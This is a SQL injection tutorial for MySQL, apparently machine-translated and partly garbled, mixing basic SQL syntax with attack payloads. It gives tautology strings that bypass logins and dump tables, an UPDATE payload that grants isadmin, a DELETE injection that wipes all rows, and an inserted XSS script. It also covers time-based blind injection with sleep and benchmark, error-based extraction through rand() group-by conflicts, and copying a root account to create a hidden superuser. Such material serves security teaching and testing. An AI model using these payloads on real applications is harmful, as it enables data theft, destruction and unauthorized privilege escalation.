Mysql injection basics
INSERT logic
4 types (values, set, select, empty)
insert into users(uid,username,password) values(10015,‘peiqi’,‘123456’)
insert into users values(10016,‘peiqi’,‘123456’)
insert into users(uid,uname) select 10017,‘peiqi’
insert into users set uid=10018,uname=‘peiqi’
INSERT error logic
INSERT INTO users VALUES(‘1’,‘hxf’,‘hxf123’,‘hxftest’)
If you know the type of the field and deliberately write it into another type, if the background handles the wrong information improperly, the information may be leaked.
show warnings; view error
INSERT keeps backdoor logic
insert into users(uid,uname,blog) select 10021,‘michae121’,’<script>alert()</script>
’,‘hxf132’
1. The attacker may inject virus scripts. When opening a web page, if the processing program does not block the browser from parsing the script, many advertisement windows will pop up.
2. The attacker can inject scripts for database connection and communication, so that when appropriate, select into outfile to a directory accessible to the web. The goal is to directly access the database through an http connection.
DELETE injection logic
create table users2 as select * from users;
Create table users2, and copy the table users into it
DELETE FROM users2 where uname='peiqi';
Delete specified data
DELETE FROM users2;
Delete everything in the users2 table.
DELETE association delete
delete a,b from emp a, dept b where a.dept_no=b.dept_no and a.dept_no='d006';
//Where a and b are aliases of emp and dept respectively. Delete the rows where the dept_no field in the emp table and the dept table are both d006.
Inject delete
DELETE FROM users where uname=‘hxf’
DELETE FROM users where uname=' ' or '1'='1
'//The consequences are very serious, directly delete all data in the users table
UPDATE statement logic
update users2 set gold=10000 where uid=10011;
update users2 set gold=10000; Update all values without entering conditions
UPDATE injects the update logic of the complete works
payload:'or '1'='1
update users2 set gold=20000 where uname=' ' or '1'='1
'update
UPDATE escalation
payload:', isadmin='1
update users2 set email=’',isadmin='1
’ where uname=‘hxf’
SELECT basics
select username,password,uid from users where uid=10022 or uid=10003
order by
select * from users order by uname; //According to the uname field content az forward sort
select * from users order by uname desc; //Reverse sort
order by 1; //Sort according to the first field forward
order by 2 desc; //Reverse order according to the second field
limit
limit 10 take the first ten lines
limit 0,1 Take one from the 0th
in statement
select * from users where uid in(select uid from users2)
The result of the query statement in parentheses is used as the value of uid
exists judges existence, returns true or false
select * from users where exists(select uid from users2)
//If there is a return value in the empty number, exists returns true, and all information in the users table is returned
select * from users a where exists(select uid from users2 b where a.uid=b.uid);
//Realize the function of in, return the data of a.uid=b.uid in the users table, this is the associated query
Inner join inner join query
select a.uname,b.mobile from game_user a inner join game_user_ext b on a.uid=b.uid;
//Inner join is the same as connecting the game_user table and the game_user_ext table. The condition of the connection is a.uid=b.uid
left join
select a.uname,b.mobile from game_user a left join game_user b on a.uid=b.uid;
//The left connection will return all the values in the left table, and the value of a.uid=b.uid in the right table
//right join right connection logic is just the opposite
SELECT injection logic
-
Errors of injected characters
'In order to test how the database handles single quotation marks, whether the error message is handled properly.
-
Guess the number of fields processed
order by dichotomy
If the webpage reports an error or the processing is abnormal, it means that it can be injected
-
Empty set logic
uname='' or '0'='9' //The query uname is empty, or 0=9, obviously the return is empty
//The webpage does not report an error, but the display page has no content.
-
Complete Works Logic
uname='' or '1'='1' //constantly true, it is possible to traverse the database content
-
union de-duplicate first and then merge
select * from users union select * from users2;
//Query all values in the users table and users2 table, and return after deduplication
-
You can construct it yourself
select uid,uname from users union select 1,‘balabala’;
Return the query result and 1,'balabala'
-
-
union all simple merge
select * from users union all select * from users2;
//Query all values in the users table and users2 table, return without deduplication
-
Error logic
An error is reported when the number of fields at both ends of the union is inconsistent
select * from users union select '1,2,3...' one by one test
-
Replacement logic (third party upper rank)
uid=“10003 and 1=2 union select 1,2,3,4,5,6,7,8”
//According to the returned number, make the next judgment
DCL language and the logic of privilege escalation
DCL (Data Control Language) is mainly used by administrators with management authority.
-
Query mysql user
select host,user,password from mysql.user;
-
Create user
create user ‘xqw’@‘localhost’ identified by ‘abc’;
-
delete users
drop user ‘xqw’@‘localhost’;
-
Authorized administrator
grant all privileges on *.* to admin@'%' identified by 'abc';
*.*Represents any table or object under any database
@Representative login
% Means login from anywhere
identified by'abc' set the password to abc
-
Authorize users with specified scope permissions
grant select,insert on *.* to admin2@'%' identified 'abc'
Authorize a user admin2 with only select and insert permissions in any table or object under any database
Can log in anywhere
-
Right escalation admin2
grant select,insert on *.* to admin2@'%' identified 'abc'
-
flush privileges; refresh privileges
-
Log in to the database
mysql -h 192.168.1.120 -uadmin -pabc
Numerical types and injection logic
-
Numerical type classification
Integer types: tinyint, smallint, mediumint, int, bigint
Floating point types: float, double, decimal
-
Numerical out-of-bounds error reporting and injection application
Deliberately enter an out-of-bounds value to expose the field name in error.
-
Type conversion error
For example: deliberately pass in a character value to a field that is originally an integer, so that the field name will be exposed when an error is reported.
-
The logic of complete and empty sets
Complete works :
or 1=1
or–+1=–!!2 //–+Negative negative positive means positive, – means positive! ! Non-non-positive
//So –+1 is, –!! 2 is 1
//Use –+!! Replace the space, avoid the back-end check of the space
//Note: there is no space between or and-
uname=``='' //constant is true, pay attention to single quotes
Empty set logic :
or 1=2
and 1=2
and !–+2=–!!2 //!–+2 is 0, –!! 2 is 1
Time and date injection logic
-
Date and time type
包括date, datetime, timestamp, time, year
//datetime date time type
//timestamp timestamp
create table testd(reg date, reg2 time,reg3 datetime,reg4 timestamp default current_timestamp on update current_timestamp, reg5 year);
//datetime saves 8 bytes
//timestamp saves 4 bytes
//year only saves the year
//date only saves the date
//time only saves time
insert into testd values(now(),now(),now(),now(),now());
-
Inject logic
-
Value out of bounds error
Deliberately enter a large integer, resulting in an error and get the field name
-
Numerical type conversion error
For example: It was originally a time type, deliberately inputting a character type caused an error, causing the field name to burst.
-
Character type and injection logic
-
Character type
char, varchar, binary, varbinary, blob, text, enum, set
//char fixed-length plaintext string
//varchar variable-length plaintext string
//binary fixed-length binary string
//varbinary variable length binary string
//blob a large number of binary strings
//text a large number of plaintext strings
//enum enumeration type
//set collection type
create table testc(un char(3), un2 varchar(3), un3 binary(3), un4 varbinary(3));
insert into testc values(‘xqw’,‘xqw’,‘xqw’,‘xqw’)
-
Inject logic
-
Character type out of bounds error
Entering a very long character string causes an error to be reported, so that the field name is obtained from the error message, and then the meaning of the field name and the function of the table are inferred.
-
Type conversion error
select * from users where !!user_id=‘admin’;
//Convert uname to an integer, causing an error
-
Text and blob types stay behind the door
-
enum enumeration type and set collection type
enum enumeration type can and only can choose one
One or more set collection types are optional
create table testd(uname1 enum(‘a’,‘b’,‘c’),uname2 set(‘a’,‘b’,‘c’));
insert into testd values(‘a’,‘a,b’)
select * from testd where find_in_set('a',uname2) //Find records containing a in the uname2 field
-
find_in_set() injection logic
select * from users where uname=‘admin’ and find_in_set(left(user(),1),‘s,t,u,r’)=1
//Guess whether the first character of the user name is s, if the echo is normal, it is s, if it is abnormal, it is not s, and further testing is required
-
Relational operators and injection logic
select * from users where uid>=1007 and uid<=1009; //return records from 1007 to 1009
select * from users where uid between 1004 and 1007; //Return records from 1004 to 1007
select * from users where uid in(1002,1003,1009); //return the specified three records//on the contrary not in
select * from users where isadmin is null; //Find records where isadmin is equal to the null value//On the contrary, is not null to determine whether it is non-empty
Fuzzy query:
select * from users where uname like'a%'; //Find records starting with a //% is a wildcard
select * from users where uname like'%a%'; //Find records with a in uname
-
Blind application (delineated scope)
and length(user())>10 and length(user())<20
According to whether the webpage response is normal or not, delimit the scope and finally determine the specific value. It can also be used to guess the database name, etc.
注入传参:uname=admin’ and uname>‘a’ and uname<'d
结果:select * from users where name=‘admin’ and uname>‘a’ and uname<‘d’;
Logical operators and injected logic
select * from users where uid=10003 and uname=‘admin’;
&&
1 and 1 //is true
1 and 0 //is false
select * from users where uid=10003 or uname='saniya'; //return when any one of the conditions is met
||
1 or 1 //is true
1 or 0 //is true
0 or 0 //is false
1 is true! 1 is false
XOR
1 xor 1 // is 0
1 xor 0 //is 1
-
Complex logic and injected logic relationship
Invariant logic:
select * from users where uid=10003 and uname=‘admin’ and 1=1;
select * from users where uid=10002 and uname=‘admin’ or 1=2;
select * from users where uname=‘admin’&&!!!1;
Empty set logic:
select * from users where uid=10002 and uname=‘admin’ and 1=2;
select * from users where uid=10002 and uname=‘admin’ and 0=true;
select * from users where uname=‘admin’&&!1;
Complete works logic:
select * from users where uid=10003 and uname=‘admin’ or 1=1;
select * from users where uname=‘admin’ or !!1;
select * from users where uname='admin' or !!1=~~1; //~ is the bitwise inversion (the complement is bitwise inverted), ~~ is to restore itself
-
Complete set of logic bypass password verification
Normal logic: select * from users where uname='admin' and password='123456';
Bypass: select * from users uname='' or '1'='1' – and password='$password'; //username field comment bypass
select * from users where uname='admin' and password=``=''; //password field bypass
select * from users where uname='admin' and '0'='0'; //username field bypass
Dictionary metadata and injection applications
-
Create a super administrator
//The first step is to create an ordinary user
insert into user(host,user,password) values(’%’,‘admin3’,password(‘abc’));
//First copy a piece of super administrator account data to a temporary table
create table tmp select * from mysql.user where user=‘root’ limit 1;
//Update the host, user, and password fields in the table
update tmp set host=’%’,user=‘admin4’,password=password(‘abc’);
//Insert the record into the user table
insert into mysql.user select * from tmp;
flush privileges; //Refresh permissions
-
mysql database
The user table // saves important information such as the host, user name, and password.
The db table // saves the authority information on the database level.
columns_priv table // saves the detailed permission distribution information of the field,
-
Dictionary application
-
Get all database names of the current instance
select distinct table_schema from information_schema.tables;
select schema_name from information_schema.schemata;
-
information_schema database
schemata table: saves the definition information related to the database
tables table: saves all metadata information of table definition attributes
columns table: saves the information of all fields under all databases
routines: stored procedure or function information
views: Attempting information
triggers: trigger information
-
Get the table name and field name
select database(); //View the current database name
select table_name from information_schema.tables where table_schema=database(); //Get all tables in the current database
select column_name from information_schema.columns where table_schema=database() and table_name='users'; //Get all the field names in the users table under the current database
-
Spy return and password guess correlation function
user()
current_user()
session_user() //User name
version() //Database version number
database() //Database name
length() //return length
length(database())>2 //Guess the solution length
left(database(),1)>'h' //The first character on the left
substring(database(),1,1)>'h' //Guess the database characters one by one
position('@' in user()) //Return the position of @ in the user name
locate('@',user()) //The function is the same as above
-
Spy returns
user(),version()
Probe: Test whether the program filters functions, subqueries, parentheses, etc. at the same time.
Both are common functions in the SQL99 standard, and different database return values have their own characteristics, and then infer what database type it is.
Such as the return of the user() function:
mysql returns root@localhost
oracle returns sys
sqlserver returns sa
If the execution is successful, the spy will report back. It means that the program does not filter functions, brackets () and subqueries, and may be able to execute complex logic such as functions and subqueries.
The spies did not return, basically indicating that the injection attack is difficult or the possibility of injection is small.
Time stealing related functions
select sleep(5) //sleep function, in seconds
select benchmark(100000,md5('qianxun')) //stress test
//Calculate the md5 value of the string'qianxun' 100000 times, and judge the performance of the mysql database according to the execution time
select if(5>2,'a','b') //The first parameter is true, then the second parameter value is returned, otherwise the third parameter is returned
-
Blind application
select * from users where uname=‘admin’ and if(left(version(),1)>3,sleep(5),1)
//If the first digit of the database version number is greater than 3, sleep for 5 seconds, otherwise return 1
//Judging the guessing result by the time returned by the page
select * from users where uname=‘admin’ and if(ascii(substr(user(),1,1)>97),sleep(),1)
//The guess of the string must first be converted to ascii code
select * from user where if(left(version(),1)=5,sleep(1),1);
//If the first digit of the version number is equal to 5, it will return 1*5 seconds. The multiplier depends on the number of data in the table
select * from users where uname=‘admin’ and if(substr(uname,1,1)=‘b’, benchmark(1000000,md5(‘suibianxie’)), 1)
//Use the benchmark() function to exhaustively, the reason is the same as sleep()
Self-reported family background function
Self-reporting family status: If there is no error, make mistakes, and bring out the information inquired to let the error tell the injector what is there, and reveal all the family can reveal.
select * from users where if(uid>10005,1,0) //return data with uid>10005
select rand() //returns a decimal between 0 and 1
select rand()*2 //return the decimal between 0~2
select round(rand()*2) //return the value of rand()*2 rounded
select floor(rand()*2) //returns the value of rand()*2 after the floor is rounded
select concat('abc','def') // splicing abc and def
select concat(user_id,first_name) from users2 //Combine the return values of field user_id and first_name
select user_id,group_concat(first_name) from users2;
//Return the first value of the user_id field, and display all the values of the first_name field (separated by,)
//When there are multiple parameters in group_concat(), the values of multiple parameters will be spliced together, and then the results of each traversal will be displayed (use, separate)
//concat() will splice multiple parameter values together, and then the results of each traversal will be displayed one by one
select user_id,first_name from users2 group by user_id; //group by will only appear once
select user_id,group_concat(first_name) from users2 group by user_id;
//Use group_concat() for another field, and the values of first_name with the same user_id will be spliced together (separated by, separated)
-
Primary key conflict error
select count(*),concat(user(),floor(rand()*2)) as a from users group by a;
//group by a is to group the results of concat(user(),floor(rand()*2)), that is to say, each result of concat(user(),floor(rand()*2)) Can only appear once, in other words the result is a primary key
//And concat(user(),floor(rand()*2)) has only two results, root@localhost1 and root@localhost0
//Because of the existence of the random function rand(), rand() will be calculated once during execution. If there is no such value in the temporary table, it will be inserted into the temporary table and will be calculated once again during insertion (group by It will be recalculated once a). When the grouping in the temporary table is completed, that is, after the primary key is set, the value inserted later conflicts with the primary key, resulting in an error.
//The larger the random number factor, the more likely it is, and the smaller the probability of a primary key conflict. Therefore, in order to make the primary key conflict report an error as much as possible, the random number factor must be the smallest, and the minimum is 2 (two Kind of random result 0, 1), so choose rand()*2.
-
Expose sensitive system information
select count(*),concat(version(),floor(rand()*2),user()) as a from users group by a;
//The error shows the database version and user
-
Expose database name
select count(*),concat((select (select (select schema_name from information_schema.schemata limit 0,1)) as a_col from information_schema.tables limit 0,1), floor(rand(0)*2)) x_col from information_schema.tables group by x_col
//The first database name is revealed, and the following database name can be obtained by changing the limit parameter
-
Expose all table names
select count(*),concat((select (select (select table_name from information_schema.tables where table_schema=database() limit 0,1)) as a from information_schema.tables limit 0,1), floor(rand(0)*2)) b from information_schema.tables group by b
//Breaking out the first table name, you can get the following database name by changing the limit parameter
-